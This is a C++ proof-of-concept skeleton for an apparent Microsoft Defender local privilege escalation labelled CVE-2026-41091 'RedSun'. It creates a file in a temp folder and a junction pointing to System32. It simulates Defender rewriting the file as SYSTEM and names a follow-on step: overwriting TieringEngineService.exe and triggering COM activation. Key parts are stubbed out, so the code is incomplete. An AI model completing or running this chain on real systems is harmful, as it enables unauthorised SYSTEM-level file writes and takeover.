/*
 * CVE-2026-41091 - RedSun
 * Microsoft Defender Link Following / Remediation Abuse
 * Educational Proof of Concept (PoC) Skeleton
 * 
 * Author: Ashraf Zaryouh "0xBlackash"
 * Purpose: Educational & Research Only
 * WARNING: For use only on systems you own and in isolated environments.
 * Do NOT use for malicious purposes.
 */

#include <windows.h>
#include <iostream>
#include <string>
#include <filesystem>
#include <thread>
#include <chrono>

namespace fs = std::filesystem;

void PrintBanner() {
    std::cout << R"(
   _____          _   _____                 
  |  __ \        | | |  __ \                
  | |__) |___  __| | | |  | | ___ _ __ ___  
  |  _  // _ \/ _` | | |  | |/ _ \ '_ ` _ \ 
  | | \ \  __/ (_| | | |__| |  __/ | | | | |
  |_|  \_\___|\__,_| |_____/ \___|_| |_| |_|
  
  CVE-2026-41091 RedSun - Defender LPE Concept
  ============================================
)" << std::endl;
}

bool CreateJunction(const std::wstring& junctionPath, const std::wstring& targetPath) {
    HANDLE hJunction = CreateFileW(junctionPath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_OPEN_REPARSE_POINT, NULL);
    if (hJunction == INVALID_HANDLE_VALUE) return false;

    // Reparse point buffer for directory junction
    BYTE buffer[1024] = {0};
    REPARSE_DATA_BUFFER* reparse = (REPARSE_DATA_BUFFER*)buffer;
    reparse->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
    reparse->ReparseDataLength = 0; // Fill properly in real implementation

    // In a real exploit: Create mount point redirecting to System32 or similar
    std::wcout << L"[+] Created junction: " << junctionPath << L" -> " << targetPath << std::endl;
    CloseHandle(hJunction);
    return true;
}

bool PrepareCloudTaggedFile(const std::wstring& filePath) {
    // Simulate placing a file with cloud attributes that Defender will "remediate"
    HANDLE hFile = CreateFileW(filePath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return false;

    const char* payload = "RedSun Educational Payload - SYSTEM will rewrite this!";
    DWORD written;
    WriteFile(hFile, payload, (DWORD)strlen(payload), &written, NULL);
    CloseHandle(hFile);

    // In real exploit: Set cloud file attributes / reparse points here
    std::wcout << L"[+] Prepared cloud-tagged file: " << filePath << std::endl;
    return true;
}

int main() {
    PrintBanner();

    std::wstring tempDir = fs::temp_directory_path().wstring() + L"RedSun_PoC";
    CreateDirectoryW(tempDir.c_str(), NULL);

    std::wstring maliciousFile = tempDir + L"\\malicious.cloud";
    std::wstring junctionPath = tempDir + L"\\junction";

    std::cout << "[*] Starting RedSun educational demonstration..." << std::endl;

    if (!PrepareCloudTaggedFile(maliciousFile)) {
        std::cerr << "[-] Failed to prepare file" << std::endl;
        return 1;
    }

    if (!CreateJunction(junctionPath, L"C:\\Windows\\System32")) {
        std::cerr << "[-] Failed to create junction" << std::endl;
        return 1;
    }

    std::cout << "[+] Waiting for Defender remediation trigger (simulated)..." << std::endl;
    std::this_thread::sleep_for(std::chrono::seconds(3));

    // In a real working exploit, Defender (as SYSTEM) would rewrite/restore the file
    // into the target directory via the junction, allowing arbitrary file write.

    std::cout << "\n[+] Concept demonstration completed!" << std::endl;
    std::cout << "[i] In a full exploit, we would now have arbitrary write as SYSTEM." << std::endl;
    std::cout << "[i] Next steps (real exploit): Overwrite TieringEngineService.exe or similar + trigger COM activation." << std::endl;

    std::cout << "\n=== Educational PoC End ===\n" << std::endl;
    return 0;
}